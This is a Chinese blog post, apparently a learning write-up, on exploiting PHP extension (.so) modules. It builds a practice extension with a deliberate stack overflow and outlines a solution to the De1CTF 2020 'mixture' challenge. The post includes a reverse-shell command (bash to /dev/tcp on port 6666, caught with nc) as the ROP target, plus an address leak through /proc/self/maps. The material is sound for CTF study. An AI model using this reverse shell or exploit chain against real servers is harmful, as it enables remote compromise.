WebPwn的入门学习,很多知识都是搬运的各个师傅。如果引用有所不对的地方,请多多包含。
基础知识
WebPHP介绍
Webpwn
目前大多数针对的是Php
,我们需要重点分析的是 PHP 加载的外部拓展,漏洞点通常在 so
拓展库中。由于 php
加载扩展库来调用其内部函数,所以和常规 PWN
题最大的不同点,就是我们不能直接获得交互式的shell
。这里通常是需要采用 popen
或者 exec
函数族来进行执行 bash
命令来反弹 shell
,直接执行 one_gadget
或者 system
是不可行的。
PHP拓展介绍
在 Linux
环境下,PHP 拓展通常为 .so
文件,拓展模块放置的路径可以通过如下方式查看:
1 | $> php -i | grep -i extension_dir |
拓展模块的生命周期如下:
- Module init 即 MINIT
PHP 解释器启动,加载相关模块,在此时调用相关模块的 MINIT 方法,仅被调用一次
- Request init 即 RINIT
每个请求到达时都被触发,SAPI层将控制权交由 PHP 层,PHP 初始化本次请求执行脚本所需的环境变量,函数列表等,调用所有模块的 RINIT 函数
- Request shutdown 即 RSHUTDOWN
请求结束,PHP 就会自动清理程序,顺序调用各个模块的 RSHUTDOWN 方法,清除程序运行期间的符号表
- Module shutdown 即 MSHUTDOWN
服务器关闭,PHP调用各个模块的MSHUTDOWN方法释放内存
PHP的生命周期包含如下几种:
- 单进程的 SAPI 生命周期
- 多进程的SAPI生命周期
- 多线程的SAPI生命周期
CLI运行模式:
通常我们在开发PHP扩展时,多是用命令行终端来直接使用php解释器直接解释执行.php文件,在.php文件中我们写入需要调用的扩展函数,该扩展函数被编译在.so的扩展模块中,这种运行模式我一般称为
CLI模式
,该模式对应的php声明周期一般为单进程SAPI生命周期
CGI运行模式:
其中对于大部分网站应用服务器来说,大部分时候PHP解释器运行的模式为
CGI模式——单进程SAPI生命周期
,此模式运行特点为请求到达时,为每个请求fork一个进程,一个进程只对一个请求做出响应
,请求结束后,进程也就结束了。其中fork的进程,和原进程的内存布局一般来说是一模一样的,所以这里如果能拿到/proc/{pid}/maps
文件,则可以拿到该进程的内存布局,形成内存泄露,此方式在De1CTF中的这道WEBPWN上是第一个突破点,利用的其有漏洞的包含函数来读取/proc/self/maps
,可以拿到所有基地址,从而无视PIE保护。
PHP拓展安装
下面是是 PHP拓展模块的安装流程,以 18.04
为例。
首先是安装php,以及Php开发包:
1 | sudo apt install php php-dev |
然后查看下载的php版本,去此处下载相同版本的php源代码。
源代码目录结构如下所示:
1 | php-7.2.24 |
拓展模块的开发
首先进入源代码目录,使用如下目录生成拓展模块的工程项目。该程序会直接为我们生成一个模板。
1 | ./ext_skel --extname=easy_phppwn |
然后我们在生成的模板函数中,添加一个如下所示的拓展函数,其含有一个简单的栈溢出漏洞:
1 | PHP_FUNCTION(easy_phppwn) |
其中由PHP_FUNCTION
宏修饰的函数代表该函数可以直接在php中进行调用,由PHP_RINIT_FUNCTION
修饰的函数将在一个新请求到来时被调用,其描述如下
当一个页面请求到来时候,PHP 会迅速开辟一个新的环境,并重新扫描自己的各个扩展,遍历执行它们各自的RINIT 方法(俗称 Request Initialization),这时候一个扩展可能会初始化在本次请求中会使用到的变量等, 还会初始化用户端(即 PHP 脚本)中的变量之类的,内核预置了 PHP_RINIT_FUNCTION() 这个宏函数来帮我们实现这个功能
然后,在代码中还需要有如下配置该拓展函数,将需要在php
中调用的函数指针写到一个统一的数组中:
1 | const zend_function_entry easy_phppwn_funcions[] = { |
然后使用如下命令配置编译
1 | /usr/bin/phpize |
然后在生成的Makefile文件中,在如下位置设置编译参数,记得取消-O2
优化,否则会加上FORTIFY
保护,导致memcpy函数加上长度检查变为__memcpy_chk
函数
1 | phpincludedir = /usr/include/php/20170718 |
随后,可以使用 make
指令编译生成拓展模块。新生成的拓展模块会被放在同目录下 ./modules
中。然后使用如下命令,找到当前系统安装的php
所在的拓展模块路径:
1 | php -i | grep -i extension_dir |
将新生成的 拓展模块放置在 系统 php
的 拓展模块路劲内。
随后找到系统 php.ini
路径,在其中增加 如下命令:
1 | extension=easy_phppwn.so |
完成之后,可以尝试写一个test.php
文件,在其中调用 phpinfo()
函数,然后可以看到 easy_phppwn
已经被加载到系统中:
1 | php test.php | grep easy_phppwn |
PHP拓展模块调试
对于php
的拓展文件,可以直接使用 ida
打开分析,我们只需要重点分析 含有 easy_phppwn
的函数:
1 | void __cdecl zif_easy_phppwn(zend_execute_data *execute_data, zval *return_value) |
其中 zend_parse_parameters
函数是自带的传参函数,由ZEND_PARSE_PARAMETERS_NONE()
修饰的代表无参数;而ZEND_PARSE_PARAMETERS_START
规定了参数的个数,其定义如下:
1 |
可以使用 checksec
检查 拓展库的保护方式:
1 | checksec ./easy_phppwn.so |
可以开启了 PIE
和 NX
,所以我们得想办法泄露 libc
地址,然后 执行 ROP
。
我们可以直接使用 gdb php
来调试系统的php
。而且为了简单,先关掉了本地的随机化。进入 gdb
后,可以使用 vmmap
来获得 libc
和栈地址。然后由于拓展模块有源码,所以可以直接源码调试。
我们的目的是执行 ROP
,去执行如下函数:
1 | poepn('/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"','r') |
这里有两个参数,一个是 反弹shell
的字符串,一个是 r
。然后需要知道 poepn
函数。
最终exp
如下:
1 | from pwn import * |
我们在本地另一个终端使用 nc
接受shell
,如下所示:
1 | nc -lvvp 6666 |
2020De1CTF-mixture
这道题前面是 web
部分,不做分析。只需要将这道题的 php 拓展按照上述方法加载到本地的php
环境中,我们就可以运行这道题的环境。
程序分析
首先分析 拓展库,发现被花指令混淆了,不能直接看伪代码。这里需要先去除花指令。但是由于对逆向掌握太差,去除花指令,这部分主要参考这里。随后,我们正常反汇编:
1 | void __fastcall zif_Minclude(zend_execute_data *execute_data, zval *return_value) |
可以看到 memcpy
存在一个明显的溢出,dest
大小为100,而 src
是我们输入的参数。而且这里可以读取任意文件。我们可以通过 /proc/self/maps
来泄露地址。
利用分析
通过 Minclude
读取 /proc/self/maps
文件,来获得 libc
地址和 stack
地址。不过这里需要用到一个PHP
的知识,即 ob
函数,我们可以通过 ob_start
来打开缓冲区,然后程序的输出流就会被存储到变量中,我们可以使用 ob_get_contents
来获得 输出流,然后通过 正则获得 地址。
随后 ROP
和上面类似来 getshell
。
EXP
1 |
|
在另一个等待连接:
1 | nc -lvvp 6666 |
参考文献
- 本文作者: A1ex
- 本文链接: http://yoursite.com/2021/03/19/webpwn学习/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!